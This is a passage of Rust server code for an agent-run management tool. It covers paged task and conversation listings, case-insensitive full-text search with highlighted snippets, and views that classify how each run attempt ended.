5383            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5384        } else {
5385            STORE_PAGE_SIZE.min(ids.len())
5386        };
5387        let ids = Arc::new(ids);
5388        walks = ui
5389            .monitor
5390            .list_walks
5391            .lock()
5392            .unwrap_or_else(PoisonError::into_inner);
5393        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5394        let mut token = crate::rng::entropy();
5395        while walks.iter().any(|walk| walk.token == token) {
5396            token = crate::rng::entropy();
5397        }
5398        // Four clients can enumerate both stores and overlap a refresh. Bound
5399        // retained membership snapshots; an evicted cursor explicitly retries.
5400        if walks.len() >= 16 {
5401            walks.remove(0);
5402        }
5403        walks.push(ListWalk {
5404            token,
5405            talks,
5406            opened: std::time::Instant::now(),
5407            ids: ids.clone(),
5408            initial_end,
5409        });
5410        (token, ids, 0, initial_end)
5411    };
5412    if offset > ids.len() {
5413        return Err(ApiError::bad_request("Invalid list cursor"));
5414    }
5415    let end = if offset == 0 {
5416        initial_end
5417    } else {
5418        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5419    };
5420    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5421    Ok((ids[offset..end].to_vec(), next))
5422}
5423
5424async fn queue_page(
5425    State(ui): State<Arc<Ui>>,
5426    Query(q): Query<PageQuery>,
5427) -> ApiResult<Json<StorePage<TaskView>>> {
5428    blocking(move || {
5429        let (ids, next) = page_ids(&ui, false, q)?;
5430        let tasks: Vec<_> = ids
5431            .into_iter()
5432            .filter_map(|id| ui.queue.get(&id).ok())
5433            .collect();
5434        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5435        let rows = tasks
5436            .into_iter()
5437            .map(|task| TaskView::with_inventory(task, &inv))
5438            .collect();
5439        Ok(Json(StorePage { rows, next }))
5440    })
5441    .await
5442}
5443
5444/// Fixed-size wire projection. Agent timestamps stay in the server index so
5445/// exact unread counts do not require sending an ever-growing turn list.
5446#[derive(Debug, Clone, Serialize)]
5447struct TalkListView {
5448    title: Option<talk::ChatTitle>,
5449    id: String,
5450    repo: PathBuf,
5451    agent: String,
5452    status: talk::TalkStatus,
5453    turns: Vec<TalkListTurn>,
5454    turn_count: usize,
5455    unread_count: usize,
5456    context: talk::ContextUsage,
5457    #[serde(skip)]
5458    agent_times: Vec<Timestamp>,
5459    thinking: bool,
5460    created_at: Timestamp,
5461    updated_at: Timestamp,
5462}
5463
5464#[derive(Debug, Clone, Serialize)]
5465struct TalkListTurn {
5466    who: talk::Who,
5467    at: Timestamp,
5468    body: String,
5469}
5470
5471fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5472    let reads: HashMap<String, Timestamp> = headers
5473        .get("x-talk-reads")
5474        .and_then(|v| v.to_str().ok())
5475        .and_then(|v| serde_json::from_str(v).ok())
5476        .unwrap_or_default();
5477    let mut index = ui
5478        .monitor
5479        .talk_index
5480        .lock()
5481        .unwrap_or_else(PoisonError::into_inner);
5482    // Bound memory independently of the number of conversations ever opened.
5483    if index.len() > 1000 {
5484        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5485        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5486        if index.len() > 1000 {
5487            index.retain(|id, _| keep.contains(id.as_str()));
5488        }
5489    }
5490    ids.into_iter()
5491        .filter_map(|id| {
5492            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5493            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5494                let talk = ui.talks.get(&id).ok()?;
5495                #[cfg(test)]
5496                ui.monitor
5497                    .talk_parses
5498                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5499                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5500                let last = talk.turns.len().checked_sub(1);
5501                let turns = talk
5502                    .turns
5503                    .iter()
5504                    .enumerate()
5505                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5506                    .map(|(_, t)| TalkListTurn {
5507                        who: t.who,
5508                        at: t.at,
5509                        body: t
5510                            .body
5511                            .lines()
5512                            .next()
5513                            .unwrap_or_default()
5514                            .chars()
5515                            .take(240)
5516                            .collect(),
5517                    })
5518                    .collect();
5519                let row = TalkListView {
5520                    title: talk.title.clone(),
5521                    agent_times: talk
5522                        .turns
5523                        .iter()
5524                        .filter(|t| t.who == talk::Who::Agent)
5525                        .map(|t| t.at)
5526                        .collect(),
5527                    turn_count: talk.turns.len(),
5528                    unread_count: 0,
5529                    context: talk::context_usage(&talk, None),
5530                    turns,
5531                    thinking: false,
5532                    id: talk.id,
5533                    repo: talk.repo,
5534                    agent: talk.agent,
5535                    status: talk.status,
5536                    created_at: talk.created_at,
5537                    updated_at: talk.updated_at,
5538                };
5539                index.insert(id.clone(), (identity, row));
5540            }
5541            let row = &index.get(&id)?.1;
5542            let mut row = TalkListView {
5543                title: row.title.clone(),
5544                unread_count: row
5545                    .agent_times
5546                    .iter()
5547                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5548                    .count(),
5549                agent_times: Vec::new(),
5550                id: row.id.clone(),
5551                repo: row.repo.clone(),
5552                agent: row.agent.clone(),
5553                status: row.status,
5554                context: row.context.clone(),
5555                turns: row.turns.clone(),
5556                turn_count: row.turn_count,
5557                thinking: false,
5558                created_at: row.created_at,
5559                updated_at: row.updated_at,
5560            };
5561            row.thinking = ui.is_thinking(&id);
5562            Some(row)
5563        })
5564        .collect()
5565}
5566
5567async fn talks_page(
5568    State(ui): State<Arc<Ui>>,
5569    Query(q): Query<PageQuery>,
5570    headers: header::HeaderMap,
5571) -> ApiResult<Json<StorePage<TalkListView>>> {
5572    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5573        let (ids, next) = page_ids(&ui, true, q)?;
5574        Ok(Json(StorePage {
5575            rows: talk_rows(&ui, ids, &headers),
5576            next,
5577        }))
5578    })
5579    .await
5580}
5581
5582async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5583    blocking(move || {
5584        let tasks = ui.indexed_tasks()?;
5585        Ok(Json(TaskCountsView::from(
5586            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5587        )))
5588    })
5589    .await
5590}
5591
5592/// Most hits one search returns. The rest are counted in `total`.
5593const SEARCH_MAX_HITS: usize = 100;
5594/// Longest query, in characters, and most terms it is split into.
5595const SEARCH_MAX_QUERY: usize = 200;
5596const SEARCH_MAX_TERMS: usize = 8;
5597/// Characters of context kept before the first hit, and after it.
5598const SNIPPET_BEFORE: usize = 50;
5599const SNIPPET_AFTER: usize = 110;
5600
5601/// `?scope=runs|tasks&q=...`
5602#[derive(Debug, Deserialize)]
5603struct SearchQuery {
5604    #[serde(default)]
5605    scope: String,
5606    #[serde(default)]
5607    q: String,
5608}
5609
5610/// One piece of a snippet. `hit` pieces are what matched; the client renders
5611/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5612#[derive(Debug, Serialize, PartialEq, Eq)]
5613struct SnippetPart {
5614    text: String,
5615    hit: bool,
5616}
5617
5618/// Position plus transcript evidence, without changing the saved chat schema.
5619#[derive(Debug, Serialize)]
5620struct ChatSearchTarget {
5621    turn: usize,
5622    message: usize,
5623    at: String,
5624    text: String,
5625}
5626
5627fn chat_text_key(body: &str) -> String {
5628    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5629        (hash ^ u32::from(c)).wrapping_mul(16777619)
5630    });
5631    format!("{hash:08x}:{}", body.chars().count())
5632}
5633
5634#[derive(Debug, Serialize)]
5635struct SearchHit {
5636    #[serde(skip_serializing_if = "Option::is_none")]
5637    target: Option<ChatSearchTarget>,
5638    id: String,
5639    /// The name of the field the snippet was cut from.
5640    field: String,
5641    snippet: Vec<SnippetPart>,
5642    /// The run's list row, so the page can apply its state / section / repo
5643    /// filters to a hit outside the loaded window. Absent for tasks and for a
5644    /// run record the list view cannot read.
5645    #[serde(skip_serializing_if = "Option::is_none")]
5646    run: Option<RunSummary>,
5647}
5648
5649#[derive(Debug, Serialize)]
5650struct SearchView {
5651    scope: String,
5652    q: String,
5653    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5654    hits: Vec<SearchHit>,
5655    /// Every match, hits beyond the cap included.
5656    total: usize,
5657    truncated: bool,
5658    /// Runs whose `run.json` could not be parsed at all. They were not
5659    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5660    unreadable: usize,
5661}
5662
5663/// The text leaves of a JSON document, with the name of the field each sits
5664/// under. Keys and numbers are skipped: they are structure, not prose.
5665fn text_leaves<'a>(
5666    value: &'a serde_json::Value,
5667    field: &'a str,
5668    out: &mut Vec<(&'a str, &'a str)>,
5669) {
5670    match value {
5671        serde_json::Value::String(s) => out.push((field, s)),
5672        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5673        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5674        _ => {}
5675    }
5676}
5677
5678/// Lower-case one character without changing how many there are, so indices
5679/// in the lowered text are indices in the original.
5680fn fold_char(c: char) -> char {
5681    c.to_lowercase().next().unwrap_or(c)
5682}
5683
5684/// Split a query into its lower-cased terms.
5685fn search_terms(q: &str) -> Vec<String> {
5686    let mut terms: Vec<String> = Vec::new();
5687    for t in q.split_whitespace() {
5688        let t = t.to_lowercase();
5689        if !terms.contains(&t) {
5690            terms.push(t);
5691        }
5692    }
5693    terms
5694}
5695
5696/// Match `terms` (all of them, anywhere in the document) against the leaves
5697/// and cut a snippet around the first hit. `None` when a term is missing.
5698fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5699    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5700    let mut first: Option<usize> = None;
5701    for term in terms {
5702        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5703        first = Some(first.map_or(at, |f| f.min(at)));
5704    }
5705    // The leaf holding the earliest hit of any term is where the snippet is cut.
5706    let (field, text) = leaves[first?];
5707    Some(SearchHit {
5708        id: String::new(),
5709        target: None,
5710        field: field.to_owned(),
5711        snippet: snippet_of(text, terms),
5712        run: None,
5713    })
5714}
5715
5716/// A window of `text` around the first occurrence of any term, whitespace
5717/// collapsed, with every term occurrence inside the window marked.
5718fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5719    let chars: Vec<char> = text.chars().collect();
5720    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5721    let needles: Vec<Vec<char>> = terms
5722        .iter()
5723        .map(|t| t.chars().map(fold_char).collect())
5724        .collect();
5725    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5726        let mut best: Option<(usize, usize)> = None;
5727        for n in needles.iter().filter(|n| !n.is_empty()) {
5728            // `to` bounds where a match may start; it may run past `to` (the
5729            // caller clips what it shows). A term longer than the field cannot
5730            // occur in it (it may live in another leaf of the document).
5731            if n.len() > chars.len() || to == 0 {
5732                continue;
5733            }
5734            let last = (to - 1).min(chars.len() - n.len());
5735            if from > last {
5736                continue;
5737            }
5738            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5739                && best.is_none_or(|(b, _)| i < b)
5740            {
5741                best = Some((i, i + n.len()));
5742            }
5743        }
5744        best
5745    };
5746    let Some((start, _)) = find(0, chars.len()) else {
5747        // Matched only through a case mapping that changes length: show the head.
5748        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5749        return vec![SnippetPart {
5750            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5751            hit: false,
5752        }];
5753    };
5754    let lo = start.saturating_sub(SNIPPET_BEFORE);
5755    let hi = (start + SNIPPET_AFTER).min(chars.len());
5756    let mut parts: Vec<SnippetPart> = Vec::new();
5757    let mut push = |s: &[char], hit: bool| {
5758        if s.is_empty() {
5759            return;
5760        }
5761        let text: String = s.iter().collect();
5762        match parts.last_mut() {
5763            Some(p) if p.hit == hit => p.text.push_str(&text),
5764            _ => parts.push(SnippetPart { text, hit }),
5765        }
5766    };
5767    if lo > 0 {
5768        push(&['\u{2026}'], false);
5769    }
5770    let mut at = lo;
5771    while at < hi {
5772        match find(at, hi) {
5773            Some((s, e)) => {
5774                push(&chars[at..s], false);
5775                // A match running past the window is shown up to its edge.
5776                let shown = e.min(hi);
5777                push(&chars[s..shown], true);
5778                at = shown;
5779            }
5780            None => {
5781                push(&chars[at..hi], false);
5782                at = hi;
5783            }
5784        }
5785    }
5786    if hi < chars.len() {
5787        push(&['\u{2026}'], false);
5788    }
5789    // Collapse whitespace (newlines in an instruction) without disturbing the
5790    // hit boundaries.
5791    let mut prev_space = false;
5792    for p in &mut parts {
5793        let mut out = String::with_capacity(p.text.len());
5794        for c in p.text.chars() {
5795            if c.is_whitespace() {
5796                if !prev_space {
5797                    out.push(' ');
5798                }
5799                prev_space = true;
5800            } else {
5801                out.push(c);
5802                prev_space = false;
5803            }
5804        }
5805        p.text = out;
5806    }
5807    parts.retain(|p| !p.text.is_empty());
5808    parts
5809}
5810
5811/// The search over `docs` (id, document), newest first, capped.
5812fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5813where
5814    I: IntoIterator<Item = (String, serde_json::Value)>,
5815{
5816    for (id, doc) in docs {
5817        let mut leaves = Vec::new();
5818        // The id is text an operator types too, and it is a map key on disk,
5819        // not a leaf.
5820        leaves.push(("id", id.as_str()));
5821        text_leaves(&doc, "", &mut leaves);
5822        if let Some(mut hit) = search_document(terms, &leaves) {
5823            view.total += 1;
5824            if view.hits.len() < SEARCH_MAX_HITS {
5825                hit.id = id;
5826                view.hits.push(hit);
5827            }
5828        }
5829    }
5830    view.truncated = view.total > view.hits.len();
5831}
5832
5833/// What a conversation is searched by: its list title and each turn's text,
5834/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5835/// (session ids, repo paths, usage, drafts) is part of the document.
5836///
5837/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5838fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5839    let opener = talk
5840        .title
5841        .as_ref()
5842        .filter(|t| !t.text.is_empty())
5843        .map(|t| t.text.as_str())
5844        .or_else(|| {
5845            talk.turns
5846                .iter()
5847                .find(|t| t.who == talk::Who::Operator)
5848                .map(|t| t.body.as_str())
5849        })
5850        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5851        .unwrap_or("");
5852    let title: String = if opener.chars().count() > 96 {
5853        opener.chars().take(95).chain(['\u{2026}']).collect()
5854    } else {
5855        opener.to_owned()
5856    };
5857    let turns: Vec<serde_json::Value> = talk
5858        .turns
5859        .iter()
5860        .flat_map(|t| {
5861            let who = match t.who {
5862                crate::talk::Who::Operator => "operator",
5863                crate::talk::Who::Agent => "agent",
5864            };
5865            if t.messages.is_empty() {
5866                vec![serde_json::json!({ who: t.body })]
5867            } else {
5868                t.messages
5869                    .iter()
5870                    .map(|m| serde_json::json!({ who: m.body }))
5871                    .collect()
5872            }
5873        })
5874        .collect();
5875    serde_json::json!({ "title": title, "turns": turns })
5876}
5877
5878fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
5879    let doc = talk_search_doc(talk);
5880    let mut leaves = vec![("id", talk.id.as_str())];
5881    text_leaves(&doc, "", &mut leaves);
5882    let mut hit = search_document(terms, &leaves)?;
5883    // Use exactly the leaf that supplied the snippet, including title/id hits.
5884    let leaf = leaves
5885        .iter()
5886        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
5887    let messages: Vec<_> = talk
5888        .turns
5889        .iter()
5890        .enumerate()
5891        .flat_map(|(i, turn)| {
5892            let bodies: Vec<&str> = if turn.messages.is_empty() {
5893                vec![turn.body.as_str()]
5894            } else {
5895                turn.messages.iter().map(|m| m.body.as_str()).collect()
5896            };
5897            bodies
5898                .into_iter()
5899                .enumerate()
5900                .map(move |(j, body)| (i, j, turn, body))
5901        })
5902        .collect();
5903    let target = leaf
5904        .checked_sub(2)
5905        .and_then(|i| messages.get(i))
5906        .or_else(|| {
5907            // An unsaved title is the opener's first nonempty line, so its
5908            // snippet still identifies a transcript message. Saved titles do not.
5909            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
5910                return None;
5911            }
5912            let (index, opener) = talk
5913                .turns
5914                .iter()
5915                .enumerate()
5916                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
5917            let line = opener
5918                .body
5919                .lines()
5920                .map(str::trim)
5921                .find(|line| !line.is_empty())?;
5922            messages.iter().find(|(i, _, _, body)| {
5923                *i == index
5924                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
5925            })
5926        });
5927    if let Some((i, j, turn, body)) = target {
5928        hit.target = Some(ChatSearchTarget {
5929            turn: *i,
5930            message: *j,
5931            at: turn.at.to_string(),
5932            text: chat_text_key(body),
5933        });
5934    }
5935    hit.id = talk.id.clone();
5936    Some(hit)
5937}
5938
5939/// Read-only full-text search over every run's `run.json`, every task or every
5940/// conversation (title and transcript).
5941///
5942/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5943/// record from an older schema still searches; only a file that is not JSON
5944/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5945async fn search_get(
5946    State(ui): State<Arc<Ui>>,
5947    Query(q): Query<SearchQuery>,
5948) -> ApiResult<Json<SearchView>> {
5949    let query = q.q.trim().to_owned();
5950    if query.is_empty() {
5951        return Err(ApiError::bad_request("q must not be empty"));
5952    }
5953    if query.chars().count() > SEARCH_MAX_QUERY {
5954        return Err(ApiError::bad_request(format!(
5955            "q is longer than {SEARCH_MAX_QUERY} characters"
5956        )));
5957    }
5958    let terms = search_terms(&query);
5959    if terms.len() > SEARCH_MAX_TERMS {
5960        return Err(ApiError::bad_request(format!(
5961            "q has more than {SEARCH_MAX_TERMS} terms"
5962        )));
5963    }
5964    let scope = q.scope;
5965    if scope != "runs" && scope != "tasks" && scope != "chats" {
5966        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5967    }
5968    blocking(move || {
5969        let mut view = SearchView {
5970            scope: scope.clone(),
5971            q: query,
5972            hits: Vec::new(),
5973            total: 0,
5974            truncated: false,
5975            unreadable: 0,
5976        };
5977        if scope == "runs" {
5978            let mut unreadable = 0;
5979            // One run.json is read, matched and dropped at a time; nothing
5980            // holds the whole history. The scan runs to the end even past the
5981            // hit cap so `total` and `unreadable` stay exact.
5982            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5983                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5984                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5985                    Some(v) => Some((id, v)),
5986                    None => {
5987                        unreadable += 1;
5988                        None
5989                    }
5990                }
5991            });
5992            search_docs(&terms, docs, &mut view);
5993            view.unreadable = unreadable;
5994            // Only the capped hits get a row: the filters need a run's state,
5995            // and reading every match would be the whole history again.
5996            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5997            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5998            for hit in &mut view.hits {
5999                if let Ok(state) = read_run(&ui.runs, &hit.id) {
6000                    hit.run = summarize(
6001                        [state],
6002                        &open_runs,
6003                        &claimed,
6004                        &superseded,
6005                        |p| probe.borrow_mut().status(p),
6006                        |p| probe.borrow_mut().started_at(p),
6007                    )
6008                    .pop();
6009                }
6010            }
6011        } else if scope == "chats" {
6012            let (talks, unreadable) = ui.talks.list_counting_unreadable();
6013            view.unreadable = unreadable;
6014            for talk in &talks {
6015                if let Some(hit) = search_chat(&terms, talk) {
6016                    view.total += 1;
6017                    if view.hits.len() < SEARCH_MAX_HITS {
6018                        view.hits.push(hit);
6019                    }
6020                }
6021            }
6022            view.truncated = view.total > view.hits.len();
6023        } else {
6024            let docs = ui.queue.list().into_iter().filter_map(|t| {
6025                let mut v = serde_json::to_value(&t).ok()?;
6026                // `source` serialises as a tagged object; the label is what
6027                // the operator reads ("human", "chat@a1b2").
6028                if let Some(o) = v.as_object_mut() {
6029                    o.insert("filed_by".to_owned(), t.source.label().into());
6030                }
6031                Some((t.id, v))
6032            });
6033            search_docs(&terms, docs, &mut view);
6034        }
6035        Ok(Json(view))
6036    })
6037    .await
6038}
6039
6040/// One attempt in a task's history, as the task page lists it.
6041#[derive(Debug, Serialize)]
6042struct TaskRunView {
6043    activity: Option<String>,
6044    /// 1-based position in [`Task::runs`].
6045    n: usize,
6046    id: String,
6047    short: String,
6048    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6049    kind: &'static str,
6050    /// The run's own status string; `None` when its record cannot be read.
6051    status: Option<&'static str>,
6052    /// Whether this build could read the run's record. Counted, never hidden.
6053    readable: bool,
6054    /// A verdict from a collapsed panel is provisional, never a decision.
6055    provisional: bool,
6056    /// What kind of attempt this was, in one line.
6057    description: String,
6058    /// How it ended and why the task moved on (or what it is doing now).
6059    outcome: String,
6060    created_at: Option<Timestamp>,
6061    pr: Option<String>,
6062    /// Why this pass ended, classified once; the flowchart is built from it.
6063    exit: RunExit,
6064    /// What the pass did to the task's attempt budget.
6065    attempt: AttemptCost,
6066    /// Edge wording for leaving this entry; names the recorded cause when
6067    /// there is one.
6068    exit_label: String,
6069    /// The position of a later entry for the same run: this entry is an
6070    /// earlier pass of it.
6071    later_pass: Option<usize>,
6072    /// Which pass over the run this entry is (1-based) and how many entries
6073    /// the task lists for the run. Counted from the list, so known even for
6074    /// a legacy record.
6075    pass_n: usize,
6076    passes_of_run: usize,
6077    /// What the run recorded about this pass; `None` for a record from before
6078    /// passes were kept, whose cause stays unknown.
6079    pass: Option<PassView>,
6080    /// The branch a review-only run reopened.
6081    branch: Option<String>,
6082    /// The badge word when it differs from `status` (`stale` / `superseded`);
6083    /// filled by the task route, which can see liveness and later attempts.
6084    badge: Option<String>,
6085}
6086
6087/// One recorded pass over a run, for the wire.
6088#[derive(Debug, Clone, PartialEq, Serialize)]
6089struct PassView {
6090    index: usize,
6091    resumed: bool,
6092    started_at: Timestamp,
6093    ended_at: Option<Timestamp>,
6094    /// `open`, `parked` or `unrecorded`.
6095    end: &'static str,
6096    cause: Option<crate::run::ParkCause>,
6097    /// One line: why it stopped, or that nobody recorded why.
6098    label: String,
6099    /// What the task recorded for this pass; `None` when it was not settled
6100    /// (or settled by a build that kept no record).
6101    cost: Option<crate::queue::PassCost>,
6102}
6103
6104impl PassView {
6105    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6106        use crate::run::PassEnd;
6107        let (end, cause, label) = match &p.end {
6108            None => ("open", None, "still open".to_owned()),
6109            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6110            Some(PassEnd::Unrecorded) => (
6111                "unrecorded",
6112                None,
6113                "stopped without recording why (a crash, a kill or a restart; not known)"
6114                    .to_owned(),
6115            ),
6116        };
6117        Self {
6118            index: p.index,
6119            resumed: p.resumed,
6120            started_at: p.started_at,
6121            ended_at: p.ended_at,
6122            end,
6123            cause,
6124            label,
6125            cost: settled.map(|t| t.cost),
6126        }
6127    }
6128}
6129
6130/// How one pass over a run ended, as far as the task's life is concerned.
6131#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6132#[serde(rename_all = "snake_case")]
6133enum RunExit {
6134    Unreadable,
6135    /// An earlier pass of a run id that appears again: it stopped short.
6136    Interrupted,
6137    Parked,
6138    MachineBlocked,
6139    QuotaStall,
6140    /// Stalled on a resumed pass with quota losses on record: they may be
6141    /// left over from an earlier pass, so whether this one was refunded is
6142    /// not knowable.
6143    ResumedQuotaStall,
6144    Merged,
6145    Ready,
6146    Superseded,
6147    /// The change was already on the base under other commits: the task
6148    /// finished without this run landing anything.
6149    AlreadyInBase,
6150    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6151    Stalled,
6152    /// Blocked / no-op with a pull request left open: held for a person.
6153    HeldWithPr,
6154    NoopHeld,
6155    /// Blocked or failed: the attempt is spent and the task retries or holds.
6156    Spent,
6157    InProgress,
6158}
6159
6160#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6161#[serde(rename_all = "snake_case")]
6162enum AttemptCost {
6163    Spent,
6164    Refunded,
6165    None,
6166    /// Cannot be told from the records that remain.
6167    Unknown,
6168}
6169
6170impl RunExit {
6171    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6172        let Some(s) = s else {
6173            return Self::Unreadable;
6174        };
6175        let status = s.status;
6176        if resumed_later {
6177            Self::Interrupted
6178        } else if s.parked {
6179            Self::Parked
6180        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6181            Self::MachineBlocked
6182        } else if !status.done() {
6183            Self::InProgress
6184        } else if matches!(status, RunStatus::Merged) {
6185            Self::Merged
6186        } else if matches!(status, RunStatus::Ready) {
6187            Self::Ready
6188        } else if matches!(status, RunStatus::Superseded) {
6189            Self::Superseded
6190        } else if matches!(status, RunStatus::AlreadyInBase) {
6191            Self::AlreadyInBase
6192        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6193            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6194        {
6195            if resumed {
6196                Self::ResumedQuotaStall
6197            } else {
6198                Self::QuotaStall
6199            }
6200        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6201            Self::HeldWithPr
6202        } else if matches!(status, RunStatus::VerifiedNoop) {
6203            Self::NoopHeld
6204        } else if matches!(status, RunStatus::Stalled) {
6205            Self::Stalled
6206        } else {
6207            Self::Spent
6208        }
6209    }
6210
6211    fn cost(self) -> AttemptCost {
6212        match self {
6213            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6214            Self::Merged
6215            | Self::Ready
6216            | Self::Stalled
6217            | Self::HeldWithPr
6218            | Self::NoopHeld
6219            | Self::Spent => AttemptCost::Spent,
6220            Self::InProgress => AttemptCost::None,
6221            Self::AlreadyInBase => AttemptCost::Refunded,
6222            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6223                AttemptCost::Unknown
6224            }
6225        }
6226    }
6227
6228    /// Short edge wording for leaving a run this way.
6229    fn edge_label(self, status: Option<&str>) -> String {
6230        match self {
6231            Self::Unreadable => "record unreadable".to_owned(),
6232            Self::Interrupted => "interrupted before the run finished".to_owned(),
6233            Self::Parked => "parked, attempt refunded".to_owned(),
6234            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6235            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6236            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6237            Self::Merged => "merged".to_owned(),
6238            Self::Ready => "ready, not merged".to_owned(),
6239            Self::Superseded => "superseded by a later attempt".to_owned(),
6240            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6241            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6242            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6243            Self::NoopHeld => "verified no-op".to_owned(),
6244            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6245            Self::InProgress => "in progress".to_owned(),
6246        }
6247    }
6248
6249    /// Does a task in `end` follow from a run that ended this way? When not,
6250    /// somebody closed or held the task by hand.
6251    fn explains(self, end: TaskStatus) -> bool {
6252        match self {
6253            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6254            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6255            Self::Unreadable | Self::Superseded | Self::Ready => true,
6256            _ => end != TaskStatus::Done,
6257        }
6258    }
6259}
6260
6261/// `GET /api/queue/{id}` - one task with every attempt it went through.
6262#[derive(Debug, Serialize)]
6263struct TaskDetailView {
6264    #[serde(flatten)]
6265    task: TaskView,
6266    /// Task override, or the default daemon budget when inherited.
6267    /// A separate loop's command-line limit is not visible from here.
6268    max_attempts: usize,
6269    history: Vec<TaskRunView>,
6270    /// Entries in `history`: passes over runs, not distinct runs and not
6271    /// attempts consumed (`task.attempts`).
6272    passes_total: usize,
6273    /// Distinct runs those passes belong to.
6274    runs_distinct: usize,
6275    flow: FlowView,
6276    /// Set for a follow-up task; see [`followup_origin`].
6277    followup_origin: Option<FollowUpOrigin>,
6278    /// How many entries of `history` could not be read.
6279    runs_unreadable: usize,
6280    /// Why the attempt count can be lower than the number of runs.
6281    attempts_note: &'static str,
6282}
6283
6284const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6285and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6286on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6287the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6288
6289/// The branch a review-only run reopened, read off the instruction
6290/// `Runner::open_review` writes.
6291fn review_branch_of(instruction: &str) -> Option<&str> {
6292    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6293    rest.split('`').next().filter(|b| !b.is_empty())
6294}
6295
6296/// Where an entry sits in a task's run list.
6297#[derive(Default)]
6298struct RunSlot<'a> {
6299    /// 1-based position.
6300    n: usize,
6301    /// The same run id appeared earlier: this pass resumed it.
6302    resumed: bool,
6303    /// Position of a later pass over the same run id, if any.
6304    resumed_later: Option<usize>,
6305    /// The previous distinct run and how it ended, for the retry note.
6306    prior: Option<(&'a str, RunStatus)>,
6307    last: bool,
6308    /// This pass as the run recorded it, when it did.
6309    pass: Option<&'a crate::run::RunPass>,
6310    /// What the task recorded when it settled this pass.
6311    settled: Option<&'a crate::queue::TaskPass>,
6312    /// 1-based position among the task's entries for this run, and their count.
6313    pass_n: usize,
6314    passes_of_run: usize,
6315}
6316
